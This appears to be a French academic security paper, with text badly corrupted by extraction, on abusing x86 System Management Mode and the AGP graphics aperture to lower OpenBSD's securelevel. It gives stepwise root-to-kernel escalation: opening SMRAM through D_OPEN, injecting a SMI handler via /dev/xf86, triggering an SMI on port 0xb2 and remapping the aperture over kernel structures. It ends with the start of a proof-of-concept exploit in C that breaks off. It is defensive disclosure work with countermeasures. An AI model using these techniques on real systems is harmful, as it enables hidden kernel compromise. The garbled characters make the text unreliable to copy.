on�gurable au moyen de registres du 
hipset a

essibles par le mé
a-

nisme de 
on�guration des registres PCI

11

. Les registres les plus importants sont le registre AGPM

qui a
tive l'utilisation de la fon
tionnalité, APBASE qui dé�nit l'adresse de base de l'ouverture

graphique, APSIZE qui détermine la taille de l'ouverture graphique et ATTBASE qui détermine

l'adresse physique de la table de tradu
tion.

3 Quelques détails sur le mode SMM

Le mode SMM a été spé
ialement 
onçu pour que la 
arte mère soit en mesure d'avertir le

pro
esseur qu'un événement majeur vient de se produire a�n que 
e dernier dé
len
he l'exé
ution

du 
ode prévu pour gérer 
et événement.

8

L'élévation de l'IOPL est une opération réservée au ring 0.

9

Ce bitmap d'entrée sortie est dé�ni par la stru
ture de la tâ
he pro
esseur a
tive. Si le bitmap n'est

pas présent, l'a

ès aux ports PIO est refusé. S'il est présent, seuls les ports 
orrespondant aux bits du

bitmap laissés à 0 est a

ordé.

10

Sous réserve que le bus graphique soit un bus AGP.

11

Ce mé
anisme utilise les ports PIO 0x
f8 et 0x
f
.
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Base

00

Base+Taille

 

Une entrée par page

Adresse
apparente

Adresse
apparente

position réelle

position réelle

Table de

Traduction

Ouverture graphique

4 Go
Taille de la mémoire

Mémoire principaleEspace des adresses physiques

de la page Y

de la page X Page X

Page Y
de la page X

de la page Y

principale

Page (4096 ko)

Page X

Page Y

Fig. 2. Prin
ipe de l'ouverture graphique

3.1 A
tivation du mode SMM

Pour passer en mode SMM, il faut générer une interruption physique appelée SMI (pour System

Management Interrupt) sur la 
arte mère. Cette interruption ne peut être dé
len
hée que par un


omposant matériel de la 
arte mère (en général le 
hipset et éventuellement les I/O APICs [3℄).

Il est impossible d'en dé
len
her une par une instru
tion � int �. Si le pro
esseur reçoit une SMI,

il entre immédiatement en mode System Management pour exé
uter le 
ode situé à une adresse

donnée (voir se
tion 3.4) et 
e même si les interruptions sont masquées logi
iellement. L'état 
omplet

du pro
esseur (in
luant entre autres les registres EIP, ESP, EFLAGS, CS, 
r0, 
r3...) est sauvegardé

dans une partie de la mémoire prin
ipale appelée SMRAM et sera restauré lors de la sortie du mode

SMM. Cette sortie s'e�e
tue logi
iellement par une instru
tion assembleur � rsm �.

Étant donné que, d'une part, le 
ontexte est sauvé puis restauré et que, d'autre part, le 
ode

exé
uté en SMM n'est pas dé�ni par le système d'exploitation et n'a même normalement pas

d'intera
tion ave
 
e dernier, l'exé
ution de 
ode en mode SMM est totalement invisible pour le

système d'exploitation. Le système est simplement �gé le temps d'exé
uter 
e 
ode étranger. A

la sortie du mode SMM, le système retrouvera l'état dans lequel il était, sous réserve qu'il n'ait

pas été modi�é par le 
ode exé
uté en mode SMM. Notons d'ores et déjà que l'état des registres

sauvegardés en SMRAM (y 
ompris les registres 
ritiques 
omme CS, 
r0, EFLAGS) est a

essible

en le
ture et en é
riture au 
ode s'exé
utant en mode SMM.

3.2 Parti
ularités du mode SMM

Dans 
e mode il est en outre par 
ommodité possible :



216

� d'a

éder à l'intégralité de l'espa
e mémoire physique (hors extension PAE

12

), et 
e malgré

le fait que 
e mode soit un mode 16 bits ; 
e
i 
omprend tout a

ès à la mémoire prin
ipale

et aux périphériques projetés en MMIO ;

� d'a

éder à l'intégralité des ports d'entrée sortie PIO.

Il est ainsi primordial de noter que dans 
e mode tous les mé
anismes de sé
urité du mode

protégé sont ina
tifs. En parti
ulier, la notion de privilèges E/S n'existe pas. Les mé
anismes de

segmentation et de pagination sont inopérants. En d'autres termes, tout 
ode s'exé
utant en mode

SMM dispose d'un a

ès total à la mémoire du système ainsi qu'aux périphériques.

3.3 La SMI

Dans les ar
hite
tures modernes, seul le 
hipset est généralement 
apable de générer une SMI.

Les I/O APICs indépendants disposent parfois aussi de 
ette fon
tionnalité. Les APICs lo
aux

peuvent potentiellement aussi être 
on�gurés pour envoyer une telle interruption au pro
esseur.

Si peu de 
omposants sont 
apables d'envoyer une SMI, les te
hniques sus
eptibles d'être utilisées

pour demander à 
es 
omposants de générer une telle interruption sont en revan
he relativement

nombreuses. Certaines te
hniques né
essitent d'avoir au préalable 
on�guré le 
hipset (en général,

un bit de 
ontr�le doit être mis à 1), d'autres non. Il existe également, dans le registre SMI_EN

du 
hipset (a

essible en PIO), un bit de 
ontr�le global permettant d'autoriser ou non le 
hipset

à générer une SMI. Notons qu'au
une prote
tion parti
ulière n'empê
he a priori du 
ode appli
atif

possédant des privilèges E/S d'a

ès sur 
e registre d'en modi�er le paramétrage.

A titre d'exemple, il était possible de 
on�gurer le 
hipset pour que le passage à l'an 2000

dé
len
he une SMI. Si les sondes de température indiquent que la température du boîtier est trop

élevée, une SMI peut également être générée. Il est en�n possible de 
on�gurer le 
hipset pour qu'un

a

ès en é
riture sur 
ertains ports a

essibles en PIO (par exemple, le port 0xb2 pour les 
hipsets

Intel

r
) dé
len
he une SMI.

3.4 La SMRAM

La SMRAM 
ontient essentiellement la routine

13

de traitement de la SMI ainsi que l'espa
e de

sauvegarde du 
ontexte pro
esseur. Elle 
orrespond aussi à l'espa
e normal d'exé
ution de 
ette

routine (elle 
ontient don
 le 
ode, la pile et les données de la routine).

L'adresse de base de la SMRAM est dé�nie par un registre pro
esseur appelé SMBASE. Lors

de l'exé
ution de l'instru
tion de sortie du mode SMM, le pro
esseur importe dans son registre

SMBASE la valeur maintenue pour 
ette variable dans la zone de sauvegarde du 
ontexte de la

SMRAM. Le 
ode exé
uté en mode SMM peut don
 
hanger la valeur de SMBASE via 
e mé
anisme,

alors qu'un 
ode exé
uté dans n'importe lequel des autres modes n'a pas 
ette possibilité. La plupart

des 
hipsets imposent 
ependant que SMBASE soit égal à 0xA0000. Dans 
e 
as, les adresses de la

SMRAM sont en 
on�it ave
 les adresses MMIO basses de la 
arte graphique (zone de 
ompatibilité

as
endante). En pratique, le 
hipset dé
ode les a

ès 
omme suit : si le pro
esseur est en mode

protégé alors tout a

ès dans la zone de la SMRAM est interprété 
omme un a

ès à la 
arte

graphique. En revan
he, tout a

ès en mode SMM à la zone SMRAM est redirigé vers la SMRAM

située en mémoire prin
ipale (dans les blo
s mémoire dits inutilisés).

12

L'extension PAE permet de béné�
ier d'un espa
e d'adressage physique plus grand que les 4Go habituel-

lement prévus pour les ar
hite
tures 32 bits.

13

A l'adresse SMBASE + 0x8000, voir plus bas pour la dé�nition de SMBASE.
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Notons en�n qu'il existe un registre de 
ontr�le de la SMRAM, dans 
ertains 
hipsets, a

essible

au moyen du mé
anisme de 
on�guration des registres PCI. Ce registre permet de � 
on�gurer �

la SMRAM. En parti
ulier l'un des 8 bits de 
e registre, D_OPEN, permet de rendre la SMRAM

a

essible même en mode protégé. Tous les a

ès vers des adresses physiques 
orrespondant à la

SMRAM sont alors redirigés vers la SMRAM quel que soit le mode 
ourant du pro
esseur. Ce

registre 
ontient également un bit nommé D_LCK. Si 
e bit vaut 1, le 
ontenu du registre n'est

plus modi�able. Seul un reset 
omplet de la ma
hine peut rendre le registre à nouveau a

essible

en é
riture. En théorie, si D_LCK vaut 1 et que D_OPEN vaut 0� il n'y a don
 plus moyen de

rendre la SMRAM a

essible depuis le mode protégé.

Il 
onvient de pré
iser dès à présent que, sur toutes les ma
hines testées, le bit D_LCK est

systématiquement positionné à 0.

3.5 Sé
urité du mode SMM

Un mode attrayant... Le mode SMM est un mode exempt de tout mé
anisme de sé
urité intrin-

sèque. Il est don
 intéressant pour un attaquant de tenter d'exé
uter du 
ode dans 
e mode.

En pratique, un attaquant se heurte à deux problèmes majeurs. Le premier est 
elui de l'entrée

dans le mode SMM, 
'est à dire de la génération de la SMI. Le se
ond est 
elui de la modi�
ation

de la routine de traitement de la SMI en SMRAM. La SMRAM est 
ensée être ina

essible hors

du mode SMM, don
 il est né
essaire pour l'attaquant d'être déjà en mode SMM pour avoir a

ès

à la SMRAM. Ce problème est potentiellement insoluble. L'apparente 
ohéren
e de la prote
tion

du 
ode de la routine du mode SMM est toutefois remise en 
ause par une mauvaise utilisation des

bits D_OPEN et D_LCK.

La se
tion 5 présente les di�érentes étapes permettant à un attaquant d'utiliser le mode SMM

à son avantage.

Un mode dangereux... Les paragraphes qui pré
èdent montrent que le mode SystemManagement

représente un danger en puissan
e pour la sé
urité des systèmes d'exploitation. Il est notamment

très di�
ile pour le système d'exploitation de déte
ter ou prévenir un passage en mode SMM (que

le 
ode asso
ié soit légitime ou frauduleux). De plus, en fon
tionnement normal la SMRAM est

ina

essible au système d'exploitation qui ne peut don
 pas simplement 
ontr�ler l'intégrité du


ode de la routine SMM. Cet état de fait peut même être rendu permanent par le bit D_LCK. Un

� rootkit � pourrait don
 utiliser la SMRAM pour dissimuler des fon
tions parti
ulières.

4 Modèle de sé
urité sous-ja
ent aux systèmes d'exploitation

4.1 Prin
ipes généraux

Positionnement du système d'exploitation Le r�le fon
tionnel premier d'un système d'exploi-

tation est d'assurer la gestion du matériel et de fournir aux appli
ations qu'il héberge des primitives

pour exploiter 
e matériel et pour 
ommuniquer entre elles. Du point de vue de la sé
urité, on at-

tend de lui qu'il régule les a

ès aux périphériques et les intera
tions entre tâ
hes sur la base de

modèles et de politiques de sé
urité de moyen niveau. Ainsi, les fon
tions fournies aux appli
ations

pour a

éder au disque dur exportent la notion de �
hier et réalisent des 
ontr�les de permissions

pour autoriser ou non les a

ès logiques 
orrespondants.
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Partant du prin
ipe que 
ertaines appli
ations sont sus
eptibles de dysfon
tionner ou en
ore

d'être 
ontr�lées par un attaquant exé
utant un 
ode de son 
hoix, le r�le de régulateur n'est e�-


a
e que si le système d'exploitation se positionne 
omme unique moyen de 
ommuni
ation entre

tâ
hes et ave
 les périphériques. Dans la pratique, 
ette 
oupure virtuelle est gérée par le noyau du

système, éventuellement enri
hi de pilotes (ou modules) additionnels, et s'appuie sur les fon
tionna-

lités o�ertes par le matériel. Dans le 
as d'une ar
hite
ture x86, le noyau exploite la segmentation

pour s'assurer l'ex
lusivité de l'exé
ution en ring 0 et la pagination pour séparer les tâ
hes entre

elles

14

. Il protège typiquement la zone mémoire qu'il utilise au moyen du bit user/supervisor des

pages 
orrespondantes. Pour 
ommuniquer ave
 leur environnement, les appli
ations doivent don


solli
iter le noyau au moyen d'appels système.

Gestion des entrées sorties Le noyau peut 
hoisir de déléguer le 
ontr�le de 
ertains périphé-

riques à des appli
ations parti
ulières, qui font également partie du système d'exploitation. Ce
i

permet de diminuer la taille et la 
omplexité du noyau, don
 le nombre de vulnérabilités impa
tant

le ring 0 : les appli
ations gérant les périphériques 
on
ernés disposent d'un niveau de privilèges

moindre, leurs éventuelles vulnérabilités ont don
 en théorie un impa
t potentiel moins 
ritique

sur le système. Pour 
e faire, le mé
anisme de délégation doit être su�samment séle
tif (
hoix des

appli
ations et des périphériques 
on
ernés) et auto-
ohérent, 
'est à dire que les privilèges délégués

ne doivent pas permettre une 
ompromission du ring 0, et 
e quel que soit le 
ode exé
uté ave
 
es

privilèges (sous l'hypothèse d'une 
ompromission de l'appli
ation).

Les mé
anismes de délégation de privilèges matériels sont basés sur une requête, formulée par

un ou plusieurs appels système, que le noyau a

eptera ou non de traiter en fon
tion des privilèges

système (identité asso
iée à des privilèges d'administration) de la tâ
he 
on
ernée. En 
as de su

ès,

les privilèges matériels demandés sont a

ordés à 
ette tâ
he par le noyau.

Du point de vue matériel, l'a

ès aux ports PIO se délègue grâ
e aux mé
anismes d'IOPL et de

bitmap d'entrée-sortie, que les ar
hite
tures x86 ont prévu à 
et e�et. L'a

ès aux zones mémoire

MMIO se délègue quant à lui à travers la gestion des tables de page. En�n, le noyau peut 
hoisir

de paramétrer les transferts DMA pour qu'ils utilisent des zones mémoire qui lui sont propres ou

des zones mémoire sous le 
ontr�le d'une appli
ation. Dans 
e dernier 
as, il peut simplement s'agir

d'a

élérer les transferts de données bien identi�ées entre un périphérique et des appli
ations sans

né
essairement remettre en 
ause le 
ontr�le du périphérique par le noyau.

Il 
onvient aussi de remarquer que, dans les ar
hite
tures a
tuelles, les périphériques sont ma-

tériellement responsables de respe
ter les adresses 
on�gurées pour les transferts DMA. Le posi-

tionnement du noyau du système d'exploitation ne lui permet don
 pas de brider les a
tions des

périphériques 
apables d'e�e
tuer 
e type de transferts par le 
as où 
eux-
i ne respe
teraient pas

les 
onsignes qui leur sont envoyées.

4.2 Exemples de mé
anismes

Dans un système où les privilèges d'administration su�sent pour 
harger un module noyau

arbitraire 
apable d'exé
uter du 
ode en ring 0, on peut 
onsidérer que toute tâ
he disposant

de tels privilèges est aussi sensible en intégrité que le noyau lui-même, puisqu'au
un mé
anisme

14

L'existen
e de zones mémoire partagées autrement qu'en le
ture seule entre tâ
hes di�érentes 
onstitue

une limite apparente du modèle. Toutefois, le noyau reste responsable d'autoriser ou non la 
réation et

le partage de telles zones.
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n'empê
he l'es
alade. Nous nous intéresserons don
 dans la suite à deux exemples de mé
anismes

visant à brider les privilèges d'administration et à des exemples de systèmes d'exploitation mettant

en ÷uvre 
e type de mé
anisme.

De façon générale, de tels mé
anismes doivent permettre de garantir l'intégrité du noyau en

mémoire, la prote
tion des éventuelles tâ
hes disposant de privilèges dangereux (sus
eptibles de

mena
er dire
tement ou non le noyau) ainsi que la prote
tion des �
hiers 
ritiques sur le disque

(pour prévenir une 
orruption des �
hiers suivie d'un redémarrage du système), tout en réduisant

au maximum le périmètre de 
on�an
e asso
ié. Sur 
ette base d'auto-
ohéren
e du mé
anisme,

d'autres éléments peuvent ensuite être ajoutés.

Les se
urelevels Une première appro
he 
onsiste à identi�er, parmi les privilèges d'administra-

tion, 
eux qui sont utilisés au 
ours du fon
tionnement normal du système et 
eux dont on peut

se passer une fois le système démarré et paramétré. Une variable interne du noyau, appelée se
ure-

level, permet de sto
ker l'état du système vis-à-vis de l'utilisation des privilèges d'administration.

A 
haque in
rémentation de sa valeur, 
ertaines opérations privilégiées (
hargement d'un module

noyau, ouverture à bas niveau d'un disque dur, et
.) deviennent globalement interdites sur le sys-

tème. Une appli
ation, même privilégiée, ne peut qu'in
rémenter le se
urelevel.

Par nature, la 
ohéren
e du modèle sous-ja
ent au mé
anisme des se
urelevels suppose au moins

qu'à partir d'un 
ertain niveau, utilisable dans la pratique, une tâ
he arbitraire

15

disposant de

privilèges root ne peut plus, à travers ses privilèges, redes
endre le se
urelevel.

Sous OpenBSD, par exemple, le se
urelevel est implémenté par une variable de type entier interne

au noyau pouvant évoluer entre -1 et 2. Lorsque le se
urelevel vaut -1, le système est dit être en mode

� Permanently Inse
ure �. Au
une limitation de privilèges n'est alors e�e
tive. Si le se
urelevel vaut

2 en revan
he, le système est en mode � Highly Se
ure �. Dans 
e 
as, les restri
tions sont maximales.

Il est alors impossible de 
harger un module noyau ou d'utiliser le pseudo-�
hier /dev/mem pour

réaliser un a

ès en é
riture sur la mémoire physique. En revan
he, a�n que le serveur graphique soit

en mesure de fon
tionner 
orre
tement, le mé
anisme de se
urelevel ne restreint pas né
essairement

l'a

ès aux ports PIO. Cet a

ès est 
ontr�lé par la valeur d'une autre variable interne au noyau,

ma
hdep.allowaperture. Si ma
hdep.allowaperture est nulle, alors les appels système permettant de

demander les privilèges I/O sont interdits. Dans le 
as 
ontraire, ils sont autorisés pour les pro
essus

du super-utilisateur. De plus, si 
ette variable est non nulle, le pseudo-�
hier /dev/xf86 peut être

utilisé pour a

éder aux adresses 
orrespondant à la mémoire vidéo projetée en MMIO.

Nous montrons dans la suite que 
ertaines propriétés du matériel sous-ja
ent brisent la 
ohéren
e

du se
urelevel BSD lorsque allowaperture est non nul.

Les 
apa
ités Un autre mé
anisme 
onsiste à s
inder les privilèges d'administration en 
apa
ités

(a

roissement de la granularité) et à 
ontr�ler l'usage de 
es 
apa
ités en s'appuyant notamment

sur les propriétés de la tâ
he 
on
ernée mais aussi sur la nature du programme exé
uté. Ainsi,

l'exé
ution d'un programme arbitraire sous une identité privilégiée ne permettra pas d'exploiter les

privilèges asso
iés à 
ette identité.

Par nature, la 
ohéren
e du modèle sous-ja
ent au mé
anisme des 
apa
ités suppose au moins

que, pour 
ertains jeux de 
apa
ités utilisés dans la pratique, une tâ
he arbitraire disposant de 
es


apa
ités ne sera pas en mesure d'en tirer des privilèges asso
iés à d'autres 
apa
ités.

15

Le modèle ne 
ouvre pas le 
as d'une tâ
he lan
ée avant l'élévation du se
urelevel et ayant déjà exploité

des privilèges autorisés sous l'an
ien niveau et interdits par le nouveau.
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Sous Linux, qui implémente partiellement le mé
anisme des 
apa
ités POSIX [12℄, les possibi-

lités d'attribution de délégations de privilèges d'entrées sorties (IOPL, et
.) sont 
ontr�lées par la


apa
ité CAP_SYS_RAWIO.

5 Exemples de détournements de fon
tionnalités matérielles standard

pour mettre en défaut des mé
anismes de sé
urité

5.1 Utilisation du mode System Management

Cette se
tion montre 
omment il est possible d'utiliser le mode System Management pour


ontourner 
ertains mé
anismes de sé
urité mis en ÷uvre par des systèmes d'exploitation. Elle

présente notamment un exploit de type � preuve de 
on
ept � sur OpenBSD

16


orrespondant à une

es
alade de privilèges dite � root vers noyau � (ou kernel). En parti
ulier, elle montre 
omment il

est possible de prendre en défaut la politique de sé
urité du système d'exploitation en abaissant la

valeur du se
urelevel de � Highly Se
ure � vers � Permanently Inse
ure �.

Prin
ipe général L'idée générale de l'attaque est d'utiliser les propriétés du mode SMM pour


ontourner les mé
anismes de sé
urité mis en pla
e en mode protégé par le système d'exploitation.

L'attaquant doit pour 
e faire parvenir à inje
ter dans la SMRAM une nouvelle routine de traitement

de l'interruption SMI (
ode arbitraire qu'il souhaite exé
uter ave
 les privilèges maximaux sur le

système) et à dé
len
her une SMI.

Di�
ultés pratiques Comme indiqué au paragraphe 3.3, plusieurs possibilités s'o�rent à l'at-

taquant pour dé
len
her une SMI. Une solution possible est d'a

éder en é
riture au registre PIO

0xb2. L'attaquant doit pour 
e faire obtenir les privilèges E/S 
orrespondants. Pour pouvoir inje
ter

du 
ode en SMRAM il doit d'une part rendre la SMRAM a

essible depuis le mode protégé (en

modi�ant D_OPEN), et d'autre part é
rire dans la plage d'adresses physiques 
orrespondant à la

SMRAM (adresses physiques 0xA0000 à 0xBFFFF).

En d'autres termes, une es
alade de privilège est possible dès lors qu'un attaquant possède :

� les privilèges E/S sur les registres PIO 0x
f8 et 0x
f
, pour pouvoir modi�er D_OPEN ;

� un moyen de dé
len
her une SMI (les privilèges E/S sur le registre PIO 0xB2 su�sent) ;

� un moyen d'é
rire dans la zone mémoire d'adresses physiques 0xA0000-0xBFFFF.

A titre d'exemple, sur la plupart des systèmes Unix, le serveur graphique (X) possède de tels

privilèges.

Mise en pratique Nous présentons i
i une mise en pratique de 
e qui pré
ède dans le 
adre de

la réalisation d'une es
alade de privilèges � root vers noyau � sous OpenBSD. On suppose que l'on

dispose d'un système x86 quel
onque

17

fon
tionnant sous OpenBSD en mode � Highly Se
ure �. On

suppose d'autre part que la variable système ma
hdep.allowaperture est non nulle (
as par défaut)

et que l'attaquant peut exé
uter du 
ode sous l'identité root.

16

Le même type d'exploit est également envisageable sous NetBSD dès que le module sysutils/aperture est

installé.

17

Possédant un 
hipset Intel

r
ou équivalent.
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Dans un tel s
énario, l'attaquant peut avoir a

ès à tous les ports d'entrée-sortie (via l'appel

i386_iopl, 
ar ma
hdep.allowaperture n'est pas nulle), et peut é
rire dans la zone de mémoire

(physique) 0xA0000-0xBFFFF via le pseudo-�
hier /dev/xf86 (voir se
tion 4.2). En revan
he, à


ause du mé
anisme de se
urelevel, l'attaquant ne dispose a priori d'au
un moyen d'exé
uter du


ode ave
 des privilèges noyau. L'attaque présentée permet d'obtenir de tels privilèges.

Ses étapes sont les suivantes :

� l'attaquant exé
ute l'appel système i386_iopl a�n d'obtenir le droit d'é
rire sur les ports

d'entrée-sortie PIO ;

� l'attaquant véri�e que les SMI sont autorisées et si 
e n'est pas le 
as les autorise en é
rivant

dans le registre SMI_EN (voir se
tion 3.3) ;

� l'attaquant véri�e que le bit D_LCK est mis à 0, puis met le bit D_OPEN à 1 de telle sorte

que la SMRAM soit a

essible en mode protégé ;

� l'attaquant utilise un a

ès en é
riture sur /dev/xf86 pour inje
ter dans la SMRAM la routine

de traitement de la SMI qu'il souhaite exé
uter ;

� l'attaquant dé
len
he une SMI à l'aide, par exemple d'un a

ès en é
riture sur le port 0xb2.

Le 
hipset va alors générer une SMI à destination du pro
esseur qui va sauvegarder son 
ontexte,


hanger de mode et exé
uter la routine de traitement inje
tée par l'attaquant. Cette routine peut

par exemple abaisser le se
urelevel ou 
réer une nouvelle entrée dans la table des des
ripteurs de

segments

18

du mode protégé. Le 
ode présenté en annexe 6 illustre une telle es
alade de privi-

lèges. Cette es
alade démontre le manque de 
ohéren
e du mé
anisme de se
urelevel quand ma
h-

dep.allowaperture est non nulle.

Contremesures Plusieurs 
ontremesures sont possibles dans le 
as de l'exploit présenté sur OpenBSD.

De façon générale, les administrateurs du système doivent mettre la variable ma
hdep.allowaperture

à zéro s'ils n'ont pas besoin du mode graphique. Cette mesure bloque l'a

ès au périphérique

/dev/xf86 et à l'appel i386_iopl.

Une autre 
ontremesure pourrait être de for
er le bit D_LCK à 1 (ave
 D_OPEN à 0) le plus

t�t possible dans la séquen
e de démarrage du système d'exploitation. Ce faisant, la SMRAM est

rendue ina

essible depuis le mode protégé et toute inje
tion de 
ode ultérieure dans la routine de

traitement de la SMI serait alors impossible depuis le mode protégé. Cette 
ontremesure présente

l'in
onvénient majeur de faire intervenir des instru
tions qui sont très peu portables d'un 
hipset à

l'autre.

Cohéren
e du modèle de prote
tion de la mémoire Les mé
anismes de prote
tion de la

mémoire (segmentation et pagination) ne s'appliquent qu'en mode protégé (ou en mode 8086 vir-

tuel). Pour que le noyau puisse assurer l'intégrité de son propre espa
e mémoire, il doit utiliser


orre
tement 
es mé
anismes, mais aussi garantir qu'au
une transition non maîtrisée vers d'autres

modes moins sûrs n'est possible. Dans le 
as du mode SMM, le modèle n'est 
ohérent que si la

modi�
ation du 
ode de la routine de traitement de la SMI n'est pas modi�able par une tâ
he

de ring 3 du mode protégé. Toutefois, 
ertains 
hipsets proposent une fon
tionnalité (registre de


on�guration de la SMRAM) qui remet en 
ause 
ette propriété. Ce
i pose don
 le problème de

18

La table globale des des
ripteurs de segments (GDT) permet au système d'exploitation de dé�nir la liste

et les propriétés des segments re
onnus par la MMU. Cette table peut également 
ontenir des stru
tures

appelées � Call Gates � qui autorisent 
ertaines transitions d'un ring vers un autre.
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la 
ohéren
e globale du modèle notamment lorsque le système d'exploitation utilise par ailleurs les

mé
anismes de délégation de privilèges E/S proposés par le pro
esseur.

5.2 Utilisation de l'ouverture graphique

Cette se
tion montre 
omment il est possible d'utiliser la fon
tionnalité d'ouverture graphique

pour réaliser une es
alade lo
ale de privilèges. Nous avons mis en ÷uvre 
e mé
anisme dans le 
adre

d'une attaque de type � preuve de 
on
ept � qui réalise une es
alade de type � root vers noyau �

sous OpenBSD en mode Highly Se
ure. Pour des raisons de 
on
ision, seuls les prin
ipes en sont

présentés i
i.

Prin
ipes Le prin
ipe global de l'attaque est de relo
aliser l'ouverture graphique de telle manière

que 
elle-
i re
ouvre l'adresse 
orrespondant à la variable sto
kant la valeur du se
urelevel. On


rée une table de tradu
tion que l'on lo
alise dans l'espa
e utilisateur et qui va faire 
orrespondre


haque page à elle-même (en d'autres termes, l'ouverture graphique est transparente a�n de ne

pas perturber le fon
tionnement global du système) à l'ex
eption de la page 
ontenant la variable


orrespondant au se
urelevel. Cette page sera redirigée vers une page allouée dans l'espa
e utilisateur

identique à la page d'origine sauf pour la valeur du se
urelevel qui sera �xée à -1. Du point de vue

du système, rien n'aura 
hangé sauf la valeur du se
urelevel. Le passage en mode � Permanently

Inse
ure � est ainsi transparent pour le système d'exploitation. Une fois le se
urelevel abaissé, il est

Ouverture graphique

L’ouverture graphique est placée sur la GDT du système

graphique vers une "fausse" GDT construite pour l’occasion

Le microprocesseur

accède à la zone mémoire de 

GDT réelle

une fausse GDT par 

Les autres pages sont  

fonctionner normalement

le chipset

sont redirigés vers 

l’ouverture graphique
Le chipset redirige

table de traduction

Fausse GDT

L’ouverture graphique se comporte comme

Utilisation normale de la fonctionnalité

une fenetre qui redirige les accès mémoire

l’accès à l’aide de sa 

Vue schématique de l’espace mémoire Vue schématique de l’espace mémoire

projetées à l’identité pour

que le système continue de 

Les accès à la GDT 

Principe de l’attaque (variante)

Les accès à la GDT sont alors redirigés par l’ouverture

Accès à la  GDT

et contenant une "Call Gate" permettant d’exécuter du code en ring 0.

Fig. 3. Prin
ipes d'une attaque exploitant l'ouverture graphique

aisé d'exé
uter du 
ode arbitraire en ring 0 par exemple en 
hargeant un module noyau. On peut

imaginer de nombreuses variantes à 
ette attaque. Il est ainsi possible en utilisant 
ette te
hnique

de substituer à toute stru
ture noyau

19

ou 
ode noyau une 
opie spé
ialement préparée à 
et e�et

19

On peut par exemple ajouter une � 
all gate � arbitraire vers le ring 0 dans la table globale des des
ripteurs

de segments.
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(voir l'exemple du rempla
ement dynamique de la table des des
ripteurs de segments (GDT) sur

la �gure 3). Sur un système mettant en ÷uvre le mé
anisme des 
apa
ités (voir se
tion 4.2), on

pourrait de même exploiter CAP_SYS_RAWIO pour obtenir toutes les autres 
apa
ités.

L'attaque sera d'autant plus simple que le système d'exploitation n'utilise pas de lui-même la

fon
tionnalité d'ouverture graphique. Dans le 
as 
ontraire, l'emploi que l'on souhaite faire de 
ette

fon
tionnalité risque d'entrer en 
on�it ave
 
elui que le système d'exploitation souhaite en faire,


e qui pourrait mener à des dysfon
tionnements 
ritiques du système.

Di�
ultés pratiques A�n de mener à bien l'attaque dé
rite i
i, l'attaquant doit posséder :

� les privilèges E/S su�sants pour a

éder aux registres APBASE, APSIZE, ATTBASE et

AGPM ;

� un a

ès en le
ture sur la mémoire physique a�n de pouvoir établir une 
orrespondan
e entre

l'adresse virtuelle des bu�ers qu'il alloue et leur adresse physique ; 
e
i est né
essaire pour

pouvoir renseigner les registres de 
on�guration qui exploitent des adresses physiques ; 
et

a

ès en le
ture permet aussi d'analyser la page que l'on souhaite rempla
er a�n que la

substitution ait lieu dans les meilleures 
onditions.

On peut remarquer qu'un attaquant 
apable d'exé
uter du 
ode sous l'identité root en mode

� Highly Se
ure � sous OpenBSD possède des privilèges su�sants pour mener à bien l'attaque

et don
 exé
uter du 
ode arbitraire ave
 des privilèges équivalents à 
eux du noyau. La meilleure


ontremesure 
ontre 
ette es
alade de privilèges potentielle est de paramétrer le système de telle

sorte que ma
hdep.allowaperture soit nulle lorsque 
ela est possible

20

.

Cohéren
e du modèle de prote
tion de la mémoire Le modèle de prote
tion mémoire repo-

sant sur les mé
anismes de pagination et de segmentation du mode protégé ne reste 
ohérent que

s'il est impossible aux appli
ations utilisateur de modi�er les proje
tions mémoires spé
i�ées par le

noyau. Or, le s
héma d'attaque présenté dans 
ette se
tion démontre que 
es mé
anismes peuvent

être 
ontournés par l'utilisation de fon
tionnalités du 
hipset telles que l'ouverture graphique. Du


ode en ring 3 peut par 
e mé
anisme modi�er les proje
tions mémoires e�e
tives de l'espa
e virtuel.

6 Con
lusion

Dans 
et arti
le, nous avons mis en éviden
e les 
onséquen
es d'un manque de modélisation glo-

bale des fon
tionnalités matérielles des 
omposants d'une 
arte mère. Plus exa
tement, la 
onjon
-

tion de plusieurs fon
tionnalités proposées par le 
hipset et le pro
esseur peuvent induire des fai-

blesses dans 
ertains mé
anismes de sé
urité sur lesquels reposent les fondements de la robustesse

des politiques de sé
urité des systèmes d'exploitation. Dans un des exemples que nous présentons,

le pro
esseur dispose d'un mé
anisme qui lui permet de s'assurer qu'au
une 
ommande logi
ielle

lo
ale ne peut 
auser un 
hangement de mode vers le mode SMM. Le 
hipset quant à lui fournit

au 
ode de démarrage de l'ordinateur une interfa
e de 
on�guration du mode SMM. Bien que les

deux fon
tionnalités soient 
ohérentes indépendamment l'une de l'autre, 
'est leur 
onjon
tion qui

met en péril le système.

Nous avons montré que le problème évoqué n'était pas un problème isolé mais bien un problème

de fond qui né
essite une réponse adaptée. Nous avons pré
isé de quelle façon la 
ohéren
e globale

20

Comme indiqué dans la se
tion pré
édente, un tel réglage empê
he le système d'utiliser le mode graphique.
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des modèles de sé
urité matériels et logi
iels pouvait être remise en 
ause. Les travaux futurs

s'orienteront vers la détermination des fon
tionnalités potentiellement dangereuses. Il est en e�et

né
essaire d'étudier, à partir des privilèges délégués à 
ha
un des a
teurs d'un système, l'ensemble

des opérations 
ritiques qu'ils seront indire
tement autorisés à e�e
tuer.
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Exemple d'es
alade basée sur l'exploitation du mode SMM sous

OpenBSD

/*

*

* Cet exploit de type "preuve de 
on
ept" montre 
omment un at-

* taquant ave
 des privilèges "root" peut utiliser les fon
tion-

* nalités matérielles (
hipset et pro
esseur) pour 
ontourner

* les limitations liées à l'utilisation des se
urelevel sous

* OpenBSD. En pratique, les mé
anismes utilisés i
i permettent

* à l'attaquant d'obtenir un a

ès en é
riture illimité à la

* mémoire physique. Cet a

ès est i
i uniquement utilisé pour

* abaisser le se
urelevel d'un niveau "Se
ure" ou "Highly Se
ure"

* vers un niveau "Permanently Inse
ure".
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*

* Note: Ne pas oublier l'option -li386 lors de l'édition de liens.

*/

/*

* fi
hiers d'en-tête

*/

#in
lude <stdio.h> /* printf() */

#in
lude <unistd.h> /* open() */

#in
lude <stdlib.h> /* exit() */

#in
lude <string.h> /* mem
py() */

#in
lude <sys/mman.h> /* mmap() */

#in
lude <sys/types.h> /* paramètres de read(), write() and mmap() */

#in
lude <f
ntl.h> /* paramètres de open() */

#in
lude <ma
hine/sysar
h.h> /* i386_iopl() */

#in
lude <ma
hine/pio.h> /* opérations E/S */

#define MEMDEVICE "/dev/xf86"

#define SECLVL_PHYS_ADDR "0x00598944"

/* obtenu par "nm /bsd | grep se
urelevel" - 0xd0000000 */

/* Redéfinition de la routine de traitement de la SMI */

extern 
